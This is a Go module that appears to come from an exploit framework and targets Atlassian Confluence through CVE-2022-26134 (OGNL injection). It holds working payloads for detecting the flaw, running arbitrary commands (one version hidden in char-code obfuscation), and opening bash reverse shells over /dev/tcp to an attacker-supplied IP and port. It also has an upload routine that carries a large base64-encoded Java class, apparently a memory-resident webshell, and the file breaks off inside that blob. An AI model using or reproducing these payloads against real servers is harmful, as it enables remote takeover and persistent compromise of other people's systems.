package exp_Confluence

import (
	"fmt"
	"github.com/lz520520/railgunlib/pkg/goutils"
	"github.com/lz520520/railgunlib/pkg/register/exp_register"
	"github.com/lz520520/railgunlib/pkg/templates/common"
	"github.com/lz520520/railgunlib/pkg/templates/exp_model"
	"github.com/lz520520/railgunlib/pkg/templates/exp_templates"
	"net/url"
	"strings"
)

type Exp_CVE_2022_26134 struct {
	exp_templates.ExpTemplate
}

func (self *Exp_CVE_2022_26134) GetMsg1(cmd string) (expResult exp_model.ExpResult) {

	headers := self.GetInitExpHeaders() //获取自定义header
	payload := `/%24%7B(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22123%22%2Ctrue))%7D/`
	header := goutils.RandomHexString(5) //生成随机响应头
	payload = strings.Replace(payload, "123", header, 1)

	//发送请求
	httpresp := self.HttpGetWithoutRedirect(self.AppendUri(self.Params.Target, payload), headers)
	if httpresp.Err != nil {
		expResult.Err = httpresp.Err
		return
	}
	if httpresp.Resp.Header.Get(header) == "" {
		self.EchoErrMsg("漏洞不存在！")
	} else {
		self.EchoInfoMsg("漏洞存在！")
	}

	return
}
func (self *Exp_CVE_2022_26134) Cmd1(cmd string) (expResult exp_model.ExpResult) {

	headers := self.GetInitExpHeaders() //获取自定义header
	payload := `/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/`

	header := goutils.RandomHexString(5) //生成随机响应头
	payload = strings.Replace(payload, "X-Cmd-Response", header, 1)
	payload = strings.Replace(payload, "id", cmd, 1)

	//发送请求
	httpresp := self.HttpGetWithoutRedirect(self.AppendUri(self.Params.Target, payload), headers)
	if httpresp.Err != nil {
		expResult.Err = httpresp.Err
		return
	}
	if httpresp.Resp.Header.Get(header) == "" {
		self.EchoErrMsg("执行失败！")
		return

	}
	expResult.Result = httpresp.Resp.Header.Get(header)

	return
}
func (self *Exp_CVE_2022_26134) Reverse1(ip, port string) (expResult exp_model.ExpResult) {
	if !goutils.IsValidIP(ip) {
		self.EchoErrMsg("请输入正确的IP！")
		return
	}
	headers := self.GetInitExpHeaders()      //获取自定义header
	randHeader := goutils.RandomHexString(5) //生成随机响应头

	payload := `/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/IPAndPort%200%3E%261%27%29.start%28%29%22%29.%28@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-Status%22%2C%22ok%22%29%29%7D/`

	payload = strings.Replace(payload, "IPAndPort", fmt.Sprintf("%s/%s", ip, port), 1)
	payload = strings.Replace(payload, "X-Status", randHeader, 1)

	//发送请求
	httpresp := self.HttpGetWithoutRedirect(self.AppendUri(self.Params.Target, payload), headers)
	if httpresp.Err != nil {
		expResult.Err = httpresp.Err
		return
	}
	if httpresp.Resp.Header.Get(randHeader) == "ok" {
		self.EchoInfoMsg("执行成功！")
	} else {
		self.EchoErrMsg("执行失败")
	}
	return
}
func stringToAscii(input string) string {
	out := make([]int, len(input))
	for i, v := range input {
		out[i] = int(v)
	}
	out = append(out)
	str := strings.Trim(strings.Replace(fmt.Sprint(out), " ", ",", -1), "[]")
	return str
}

func (self *Exp_CVE_2022_26134) GetMsg2(cmd string) (expResult exp_model.ExpResult) {

	headers := self.GetInitExpHeaders() //获取自定义header
	payload := `/$%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-CMD%22%2C%22ok%22%29%7D/`
	randHeader := goutils.RandomHexString(5) //生成随机响应头
	payload = strings.Replace(payload, "X-CMD", randHeader, 1)

	//发送请求
	httpresp := self.HttpGetWithoutRedirect(self.AppendUri(self.Params.Target, payload), headers)
	if httpresp.Err != nil {
		expResult.Err = httpresp.Err
		return
	}
	if httpresp.Resp.Header.Get(randHeader) == "" {
		self.EchoErrMsg("漏洞不存在！")
	} else {
		self.EchoInfoMsg("漏洞存在！")
	}

	return
}

func (self *Exp_CVE_2022_26134) Cmd2(cmd string) (expResult exp_model.ExpResult) {

	headers := self.GetInitExpHeaders() //获取自定义header
	payload := `/$%7BClass.forName(%22com.opensymphony.webwork.ServletActionContext%22).getMethod(%22getResponse%22,null).invoke(null,null).setHeader(%22X-CMD%22,Class.forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))%22))%7D/`
	header := goutils.RandomHexString(5) //生成随机响应头
	payload = strings.Replace(payload, "X-CMD", header, 1)
	payload = strings.Replace(payload, "105,100", stringToAscii(cmd), 1)

	//发送请求
	httpresp := self.HttpGetWithoutRedirect(self.AppendUri(self.Params.Target, payload), headers)
	if httpresp.Err != nil {
		expResult.Err = httpresp.Err
		return
	}
	if httpresp.Resp.Header.Get(header) == "" {
		self.EchoErrMsg("执行失败！")
		return

	}
	expResult.Result = httpresp.Resp.Header.Get(header)

	return
}

func (self *Exp_CVE_2022_26134) Reverse2(ip, port string) (expResult exp_model.ExpResult) {
	if !goutils.IsValidIP(ip) {
		self.EchoErrMsg("请输入正确的IP！")
		return
	}
	headers := self.GetInitExpHeaders()      //获取自定义header
	randHeader := goutils.RandomHexString(5) //生成随机响应头

	payload := `/$%7BClass.forName(%22com.opensymphony.webwork.ServletActionContext%22).getMethod(%22getResponse%22,null).invoke(null,null).setHeader(%22X-CMD%22,%20Class.forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22new%20java.lang.ProcessBuilder().command('bash','-c','bash%20-i%20%3E&%20/dev/tcp/ip/port%200%3E&1').start()%22))%7D'%0A%0A/`
	payload = strings.Replace(payload, "ip/port", fmt.Sprintf("%s/%s", ip, port), 1)
	payload = strings.Replace(payload, "X-CMD", randHeader, 1)

	//发送请求
	httpresp := self.HttpGetWithoutRedirect(self.AppendUri(self.Params.Target, payload), headers)
	if httpresp.Err != nil {
		expResult.Err = httpresp.Err
		return
	}
	if httpresp.Resp.Header.Get(randHeader) != "" {
		self.EchoInfoMsg("执行成功！")
	} else {
		self.EchoErrMsg("执行失败")
	}
	return
}

func (self *Exp_CVE_2022_26134) Upload2(filename string, content string) (expUploadResult exp_model.ExpUploadResult) {
	headers := self.GetInitExpHeaders() //获取自定义header
	payload := `/$%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-CMD%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28@com.opensymphony.webwork.ServletActionContext@getRequest%28%29.getParameter%28%22search%22%29%29%29%7D/`
	body := `var classBytes = java.util.Base64.getDecoder().decode("yv66vgAAADIBDAEAFlBheWxvYWQxNDc5OTgzNDMzNDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAG1BheWxvYWQxNDc5OTgzNDMzNDExMDAuamF2YQEACXdyaXRlQm9keQEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspVgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwACQAKCgAEAAsBAAlnZXRXcml0ZXIIAA0BAA9qYXZhL2xhbmcvQ2xhc3MHAA8BAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAARABIKABAAEwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcAFQEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAFwAYCgAWABkBAAV3cml0ZQgAGwEAEGphdmEvbGFuZy9TdHJpbmcHAB0BAAVmbHVzaAgAHwEABWNsb3NlCAAhAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAlAQAGYmFzZTY0AQAYKFtCTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAMamF2YS52ZXJzaW9uCAApAQAQamF2YS9sYW5nL1N5c3RlbQcAKwEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAC0ALgoALAAvAQADMS45CAAxAQAJY29tcGFyZVRvAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDAAzADQKAB4ANQEAEGphdmEudXRpbC5CYXNlNjQIADcBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAOQA6CgAQADsBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyBwA9AQAGPGluaXQ+AQADKClWDAA/AEAKAD4AQQEAA2dldAgAQwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7DABFAEYKAD4ARwEAAXIIAEkBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABLAEwKAD4ATQEAC3RvTG93ZXJDYXNlDABPAEwKAB4AUAEAAltCBwBSAQAPc3VuLm1pc2MuQkFTRTY0CABUAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAVgBXCgAQAFgBAAZFbmNvZGUIAFoBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAFwAXQoAHgBeAQAMZW5jb2RlQnVmZmVyCABgAQABDQgAYgEAAAgAZAEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwwAZgBnCgAeAGgBAAEKCABqAQAIZ2V0Qnl0ZXMBAAQoKVtCDABsAG0KAB4AbgEADGRlY29kZUJ1ZmZlcggAcAEABShbQilWDAA/AHIKAB4AcwEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAeAB5CgAQAHoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAHwBAA1nZXRTdXBlcmNsYXNzDAB+AAoKABAAfwEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAPwCBCgB9AIIBACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwCEAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAIYAhwoAhQCIAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAIoBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAQwCMCgCLAI0BAAN4b3IBAAgoW0JbQilbQgoABABBAQAQPz8/Pz8/Pz8/Pz8/Pz8/PwgAkgEAEGphdmEvbGFuZy9UaHJlYWQHAJQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAJYAlwoAlQCYAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DACaAJsKAJUAnAEAB3RocmVhZHMIAJ4MAHYAdwoAAgCgAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAogEAB2dldE5hbWUMAKQATAoAlQClAQAEZXhlYwgApwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDACpAKoKAB4AqwEABGh0dHAIAK0BAAZ0YXJnZXQIAK8BABJqYXZhL2xhbmcvUnVubmFibGUHALEBAAZ0aGlzJDAIALMBAAdoYW5kbGVyCAC1AQAGZ2xvYmFsCAC3AQAKcHJvY2Vzc29ycwgAuQEADmphdmEvdXRpbC9MaXN0BwC7AQAEc2l6ZQEAAygpSQwAvQC+CwC8AL8BABUoSSlMamF2YS9sYW5nL09iamVjdDsMAEMAwQsAvADCAQADcmVxCADEAQAJZ2V0SGVhZGVyCADGAQAOQWNjZXB0LUVuY29kZWQIAMgBAAdpc0VtcHR5AQADKClaDADKAMsKAB4AzAEAB2dldE5vdGUIAM4BABFqYXZhL2xhbmcvSW50ZWdlcgcA0AEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwA0gDTCQDRANQBAAQoSSlWDAA/ANYKANEA1wEAC2dldFJlc3BvbnNlCADZAQAHcmVxdWVzdAgA2wEACHJlc3BvbnNlCADdAX6hQTljR0ZnVDgvUHcwK3R6VS9Uai9TTmo5NlA5RTNQOUEyUDNvL3p6WS9lai9PTlQ5T1A4MDFQMDQvekRjL3NEVS9lai9MTnordk9EL0tOeisyT0QvSk5UOTZQOGczUDhjMVAzby94alkvZWovRk5UOHFQOFEzUDhNM1A4STRQOEUxUDNvL3dEYytQelUvS2o0K05qOTZQajAyUDNvK1BEWS9lajQ3Tno0Nk5UOHFQamszUGpnMVAzbytOelUvZWo0Mk56NDFOejQwTlQ5NlBqTTNQakkzUGpFMVAzbytNRGMrTHpjK0xqYytMVGMvcFRjK0xEYytLelUvTkQ0cU9ENHBOVDhSUDh3MVBpZytKelUvRVQ0bU56NGxOejRrTlQ4MFBpYzFQeEUrSnpjK0l6ZytJalUvQ0QvTU56NGhOVDhJUGlBMVAzbytIemMrSGpVL0tqNGROVDhJUGljMVB5bytIRGMrR3pjK0dqZy9pRFUvTWo0Wk5UOXdQaGc0UHJ3MVAzQStGalUvZWovU05UOTZQaFUzUGhRMVB6UStFelUvY0Q0U056OUxOVDk2UGhFM1BoQTRQZzgxUDNvK0RqVStEVDRNT0Q0TE5UOXRQOHcxUDIwK0NqYytDVFUvYlQ0SU56NEhOVDRHUGdVM1BnUTFQeW8rQXpjK0FqVS9jRDRCTno0QU56NS9OVDl3UG40MVB5bytmVGcvU1RjK2ZEYytlemMrZWpVL0tqNTVOejU0T0Q1M05UOXdQblkxUDFnK2RUVS9XRDUwTlQ5d1BuTTFQMWcrY2pVL2JUNXhPRC9WTlQ5d1BuQTFQZzArZFRnK2J6NC9PMDllUzFjK1B5MXpWVjVKWGhCVFhsRllFR3hMVFZaUldBUStQenhQU0ZzK1B6TlBYa1pUVUY1YmZVWkxXa3crUHoxa2ZUNC9PVkphUzFkUVd6NC9PVTllVFY1U1RENC9Oa3hYV2xOVGNWNVNXajQvTEZkTFMwOXNXazFKVTFwTGJWcE1UMUJSVEZvK1B5MXpWVjVKWGhCVFhsRllFSEJkVlZwY1N3UStQemtEVmxGV1N3RStQeVVYYzFWZVNWNFFVMTVSV0JCOFUxNU1USE5RWGx0YVRRUVdhVDQvTzN4UVcxbytQekJ6VmxGYWNVcFNYVnBOYTE1ZFUxbytQeTF6VUZ4ZVUybGVUVlplWFZOYWExNWRVMW8rUHp0TFYxWk1QajhRYzB0UVVGTk1FRkphVWhCU1drdFhVRnRNRUV4UFRWWlJXQkJzVDAxV1VWaHpWa3hMV2xGYVRYWlJWVnBjU3dRK1B6UmNVMTVNVEhOUVhsdGFUVDQvS0hOVlhrbGVFRk5lVVZnUWZGTmVURXh6VUY1YldrMEVQajgrV0Q0L0toZGtmUlp6VlY1SlhoQlRYbEZZRUh4VFhreE1CRDQvUGwwK1B6d1hGbWsrUHpSWVdrdHRXa3hQVUZGTVdqNC9HUmR6VlY1SlhoQlRYbEZZRUhCZFZWcGNTd1FXYzFWZVNWNFFVMTVSV0JCd1hWVmFYRXNFUGo4M1RWcE9TbHBNU3cwK1B6aFdXRkZRVFZwYlBqOHFjMVZlU1Y0UVUxNVJXQkI2UjF4YVQwdFdVRkVFUGo4K1dqNC9PRTFhVGtwYVRFcytQemROV2t4UFVGRk1XajQvTW14TFhseFVjbDVQYTE1ZFUxbzRQOGs0UDhvNFA4bytQemxhVGtwZVUwdytQeW9YYzFWZVNWNFFVMTVSV0JCd1hWVmFYRXNFRm1VK1B6MWFSejQvUFU5TVBqOHNaSE5WWGtsZUVGTmVVVmdRYkV0TlZsRllCRDQvTmxoYVMyaE5Wa3RhVFQ0L0xreExYbHhVYTAxZVhGcDZVMXBTV2xGTFBqOGljMVZlU1Y0UVUxNVJXQkJzUzE1Y1ZHdE5YbHhhZWxOYVVscFJTd1ErUHp0ZVRVMGJQajhoWkhOVlhrbGVFRk5lVVZnUWJFdGVYRlJyVFY1Y1ducFRXbEphVVVzRVBqODdVMXBSR3o0L1BuWStQejFXR3o0L0tVeExYbHhVYTAxZVhGcDZVMXBTV2xGTGZrMU5Ya1krUHoxTVhUNC9KM05WWGtsZUVGTmVVVmdRYkV0TlZsRllmVXBaV1ZwTkJENC9QRkJkVlQ0L0xWZExTMDlzV2sxSlUxcExiVnBPU2xwTVN6NC9NVXhhVFVsVFdrdDhVRkZMV2tkTFBqODdTMTVZVERnK3ZEZy93VGcvcGpnL29UZytLVDQvT1ZwUlhGQmJXajQvR1JkelZWNUpYaEJUWGxGWUVHeExUVlpSV0FRV2MxVmVTVjRRVTE1UldCQnNTMDFXVVZnRVBqODlWbEUrUHp4VVdrWStQelY2UjF4YVQwdFdVRkZNUGo4NVcxcGNVRnRhUGo4d1cxWk1UMU5lUm5OV1RFdGFVVnBOUGo4cUYzTlZYa2xlRUZOZVVWZ1FjRjFWV2x4TEJCWnBQajgzVTFaTVMxcFJXazArUHl4a2MxVmVTVjRRVTE1UldCQndYVlZhWEVzRVBqOG5YazlQVTFaY1hrdFdVRkY4VUZGTFdrZExlVjVjWGx0YVBqOHRYazlQVTFaY1hrdFdVRkY4VUZGTFdrZExQajh3VEV0ZVVWdGVUVnQ4VUZGTFdrZExQajgyVTFaTVMxcFJXazFNUGo4dFcwWlJYbEpXWEg1YlczTldURXRhVVZwTlBqODlYRncrUHk1elZWNUpYaEJUWGxGWUVIeFRYa3hNQkRnK0R6NC9MVnRHVVY1U1ZseDdXbE56Vmt4TFdsRmFUVDQvTkY1UFQzTldURXRhVVZwTlBqOGZYazlQVTFaY1hrdFdVRkY2U1ZwUlMzTldURXRhVVZwTlRIQmRWVnBjUzB3K1B6TlJXa2h6Vmt4TFdsRmFUVXcrUHlwelZWNUpYaEJLUzFaVEVINU5UVjVHYzFaTVN3UStQeWx6VUZ4ZVUybGVUVlplWFZOYWEwWlBXbXRlWFZOYVBqOFdjMVZlU1Y0UVNrdFdVeEIrVFUxZVJuTldURXNEYzFWZVNWNFFVMTVSV0JCd1hWVmFYRXNFQVFRNFBncytQemxkWGt4YUNRcytQeWNYWkgxelZWNUpYaEJUWGxGWUVHeExUVlpSV0FRV1pIMCtQemw5WGt4YUNRcytQenBjVUZ0YVRUNC9QRjBKQ3o0L08xSlFXMW8rUHpWY1UxNU1URjFHUzFwTVBqODhSMUJOUGo4M0YyUjlaSDBXWkgwK1B6NVdQajg3VzE1TFhqNC9QVkpUUGo4OVZGTStQekpNV2t0NVZscFRXMmxlVTBwYVBqOEdGM05WWGtsZUVGTmVVVmdRY0YxVldseExCSE5WWGtsZUVGTmVVVmdRYkV0TlZsRllCSE5WWGtsZUVGTmVVVmdRY0YxVldseExCQlpwUGo4MldWWmFVMXR4WGxKYVBqODZTVjVUU2xvK1B6NVpQajhtYzFWZVNWNFFVMTVSV0JCTldsbFRXbHhMRUhsV1dsTmJCRGcrZHo0L01saGFTM2xXV2xOYmFWNVRTbG8rUHdjWGMxVmVTVjRRVTE1UldCQndYVlZhWEVzRWMxVmVTVjRRVTE1UldCQnNTMDFXVVZnRUZuTlZYa2xlRUZOZVVWZ1FjRjFWV2x4TEJENC9PMGxlVFFrK1B5VnpWVjVKWGhCVFhsRllFRTFhV1ZOYVhFc1FjbHBMVjFCYkJENC9QVnhNT0Q1dVBqODVWbEZKVUZSYVBqOTBGM05WWGtsZUVGTmVVVmdRY0YxVldseExCSE5WWGtsZUVGTmVVVmdRYkV0TlZsRllCR1J6VlY1SlhoQlRYbEZZRUhCZFZWcGNTd1FXYzFWZVNWNFFVMTVSV0JCd1hWVmFYRXNFUGo4OVVBNCtQelZTV2t0WFVGdHhYbEphUGo4MVQxNU5YbEphUzFwTlRENC9PRnhUWGt4TVdrdytQeTlZV2t0eVdrdFhVRnQ5Um54VFhreE1Qajl1RjNOVlhrbGVFRk5lVVZnUWZGTmVURXdFYzFWZVNWNFFVMTVSV0JCc1MwMVdVVmdFWkhOVlhrbGVFRk5lVVZnUWZGTmVURXdFRm5OVlhrbGVFRk5lVVZnUVRWcFpVMXBjU3hCeVdrdFhVRnNFUGo4dFpITlZYa2xlRUZOZVVWZ1FmRk5lVEV3RVBqODFiRkJLVFZ4YWVWWlRXajQvRVd4UFRWWlJXSE5XVEV0YVVWcE5kbEZWV2x4TEVWVmVTVjRmV1UxUVVoOTJVVTlLUzNsV1UxcHdYVlZhWEVzelAwTS9Rak0vU2o5SlBqOC9NejlHUDB3elAwVS9SRE0rYlQ1c016OURQN2N6UCtNLzRqNC9MRlZlU1Y0UVUxNVJXQkI2UjF4YVQwdFdVRkUrUHk5VlhrbGVFRk5lVVZnUWNGMVZXbHhMTXovZFA5dytQeTVZV2t0c1drMUpVMXBMZkZCUlMxcEhTek0vdGorMU16OUhQMHd6UDZvL3FUNC9NMWhhUzI5ZVRWNVNXa3RhVFQ0L1BrOCtQeTlWWGtsZUVGTmVVVmdRYkV0TlZsRllNeitNUDVBK1B6MEZCVE0rYXo1cU16OUlQMHd6UDBzL1RETS9UVDlNUGo4N1UxQmVXek0rYVQ1b1BqODVlMXBjVUZ0YU16LzNQL1l6UDRNL2lqNC9PRnhYU2xGVVdscytQemxLVVZOUVhsc3pQLzgvaWo0L0xseFhTbEZVV2xzVEgxWmJXbEZMVmt0R1BqODdURmRRU0RNL2l6K0tQajgzVmx0YVVVdFdTMFkrUHpaTVdrdDNXbDViV2swK1B5OXJUVjVSVEZsYVRSSmFVVnhRVzFwYlBqODZXVk5LVEZjK1B6cGNVMUJNV2pNK1p6NW1QajhwVlY1SlhoQlRYbEZZRUd4TFRWWlJXSDFLV1ZsYVRUZytaVE0rWkQ1ak16NWlQbUUrUHo0MVBqODRUMDFXVVV0VFVUNC9Md0FBQUFBQUFBQUFBQUFBQUFBQUFBQStQeWhWWGtsZUVGTmVVVmdRYkV0TlZsRllmVXBXVTF0YVRUNC9QbDR6UG1JK1lETS84RC92UGo4NWVsRmNVRnRhTXo5RFBsOHpQbDQrWFQ0L09GeFFVVXRhUjBzK1B5TllXa3QrVDA5VFZseGVTMVpRVVhwSldsRkxjMVpNUzFwUldrMU1NejVjUGxzelBsbytZejQvRWt0UVVGTk1FRkphVWhCU1drdFhVRnRNRUV4UFRWWlJXQkJzVDAxV1VWaHpWa3hMV2xGYVRYWlJWVnBjU3pNK1dUNVlNeis2UDdrK1B5ZFRWa3hMV2xGYVRSOWVVMDFhWGx0R0gxcEhWa3hMVEJFelAwTStWek0rVmo1Vk16L3FQK2srUHlSZVcxdCtUMDlUVmx4ZVMxWlFVWHBKV2xGTGMxWk1TMXBSV2swK1B6QlZYa2xlRUZOZVVWZ1FmRk5lVEV3elA5Yy8xamcrYmpNLzNUNVVQajhzVlY1SlhoQktTMVpURUg1TlRWNUdjMVpNU3pNK1V6K3BQajhqVEZwTGZrOVBVMVpjWGt0V1VGRjZTVnBSUzNOV1RFdGFVVnBOVERNK1VqNVJQajh6VlY1SlhoRkpXazFNVmxCUk9ENVFNejVQUDVBK1B6d09FUVl6UGs0K1RUNC9MMVZlU1Y0UlNrdFdVeEY5WGt4YUNRc3pQa3crU3o0L1BGaGFTejQvUGswelBrbytTVE0rU0Q1alBqOHdURXBSRVZKV1RGd1JmWDVzZWdrTFBqOHpXbEZjVUZ0YWZVcFpXVnBOUGo4K01qTStSejVHUGo4elcxcGNVRnRhZlVwWldWcE5QajhvVlY1SlhoQlRYbEZZRUUxYVdWTmFYRXNRZVZaYVUxc3pQa1UrUkRNK1F6NUNNejVCUGtBelByOCtXek0rQUQrMU16NVNQcjR6UHIwK1NUNC9LbFZlU1Y0UVUxNVJXQkI4VTE1TVRITlFYbHRhVFQ0L0oxVmVTVjRRVTE1UldCQk5XbGxUV2x4TEVISmFTMWRRV3o0L05GdGFXVlpSV254VFhreE1QajhvRjJSOWRuWVdjMVZlU1Y0UVUxNVJXQkI4VTE1TVRBUStQenBNVDFOV1N6NC9HQmR6VlY1SlhoQlRYbEZZRUd4TFRWWlJXQVFXWkhOVlhrbGVFRk5lVVZnUWJFdE5WbEZZQkQ0L04xaGFTMzFHUzFwTVBqODdGeFprZlQ0L01saGFTMnhMWGx4VWEwMWVYRm8rUHg4WEZtUnpWVjVKWGhCVFhsRllFR3hMWGx4VWEwMWVYRnA2VTFwU1dsRkxCRDQvSkZWZVNWNFFVMTVSV0JCc1MxNWNWR3ROWGx4YWVsTmFVbHBSU3o0L04wdFFiRXROVmxGWVBqOHJGeFp6VlY1SlhoQlRYbEZZRUd4TFRWWlJXQVErUHpsZVQwOWFVVnMrUHhNWGMxVmVTVjRRVTE1UldCQnNTMDFXVVZnRUZuTlZYa2xlRUZOZVVWZ1FiRXROVmxGWWZVcFpXVnBOQkQ0L0VoZHpWVjVKWGhCVFhsRllFR3hMVFZaUldBUVdjMVZlU1Y0UVUxNVJXQkJzUzAxV1VWaDlTbFpUVzFwTkJENC9PaGRrZlJacFBqODJURXBkVEV0TlZsRllQajhxRjNZV2MxVmVTVjRRVTE1UldCQnNTMDFXVVZnRVBqODNXRnBMZkZOZVRFdytQeXdYRm5OVlhrbGVFRk5lVVZnUWZGTmVURXdFUGo4NFdGcExjVjVTV2o0L01WaGFTM3hUWGt4TWMxQmVXMXBOUGo4bUZ4WnpWVjVKWGhCVFhsRllFSHhUWGt4TWMxQmVXMXBOQkQ0L0toZHpWVjVKWGhCVFhsRllFR3hMVFZaUldBUVdhVDQvTkZGYVNIWlJURXRlVVZ4YVBqOHJGeFp6VlY1SlhoQlRYbEZZRUhCZFZWcGNTd1ErUHdZWGMxVmVTVjRRVTE1UldCQndYVlZhWEVzRVpITlZYa2xlRUZOZVVWZ1FjRjFWV2x4TEJCWnpWVjVKWGhCVFhsRllFSEJkVlZwY1N3UStQenhlVzFzK1B6aExVSDVOVFY1R1BqOHFGeFprYzFWZVNWNFFVMTVSV0JCd1hWVmFYRXNFUGo4dlZWNUpYaEJUWGxGWUVHeEdURXRhVWo0L05GaGFTMjlOVUU5YVRVdEdQajgyWEZCU1QxNU5XbXRRUGo4cUYzTlZYa2xlRUZOZVVWZ1FiRXROVmxGWUJCWjJQajg0V1ZCTmNWNVNXajQvR2hkelZWNUpYaEJUWGxGWUVHeExUVlpSV0FRV2MxVmVTVjRRVTE1UldCQjhVMTVNVEFRK1B6WllXa3R5V2t0WFVGcytQMzhYYzFWZVNWNFFVMTVSV0JCc1MwMVdVVmdFWkhOVlhrbGVFRk5lVVZnUWZGTmVURXdFRm5OVlhrbGVFRk5lVVZnUVRWcFpVMXBjU3hCeVdrdFhVRnNFUGo4MFMxQnpVRWhhVFh4ZVRGbytQemhOV2s5VFhseGFQajk3RjNOVlhrbGVFRk5lVVZnUWZGZGVUV3hhVGtwYVVWeGFCSE5WWGtsZUVGTmVVVmdRZkZkZVRXeGFUa3BhVVZ4YUJCWnpWVjVKWGhCVFhsRllFR3hMVFZaUldBUStQeTlZV2t0N1dseFRYazFhVzNsV1dsTmJQajhTRjNOVlhrbGVFRk5lVVZnUWJFdE5WbEZZQkJaelZWNUpYaEJUWGxGWUVFMWFXVk5hWEVzUWVWWmFVMXNFUGo4eVRGcExmbHhjV2t4TVZsMVRXajQvT3hkbEZtaytQenhNV2tzK1B4Z1hjMVZlU1Y0UVUxNVJXQkJ3WFZWYVhFc0VjMVZlU1Y0UVUxNVJXQkJ3WFZWYVhFc0VGbWsrUHpKWVdrdHNTazlhVFZ4VFhreE1QajhYRjJSelZWNUpYaEJUWGxGWUVIQmRWVnBjU3dRV1pITlZYa2xlRUZOZVVWZ1FjRjFWV2x4TEJENC9MbGhhUzN0YVhGTmVUVnBiY2xwTFYxQmJQajhEUzFCUVUwd1FVbHBTRUZKYVMxZFFXMHdRVEU5TlZsRllFR3hQVFZaUldITldURXRhVVZwTmRsRlZXbHhMRGdzSUJnWUhEQVlQREFzS0NBOFBQajhCYzB0UVVGTk1FRkphVWhCU1drdFhVRnRNRUV4UFRWWlJXQkJzVDAxV1VWaHpWa3hMV2xGYVRYWlJWVnBjU3c0TENBWUdCd3dHRHd3TENnZ1BEd1EyUDVZL3hUNEZibjVxRG4xYWFFaHFl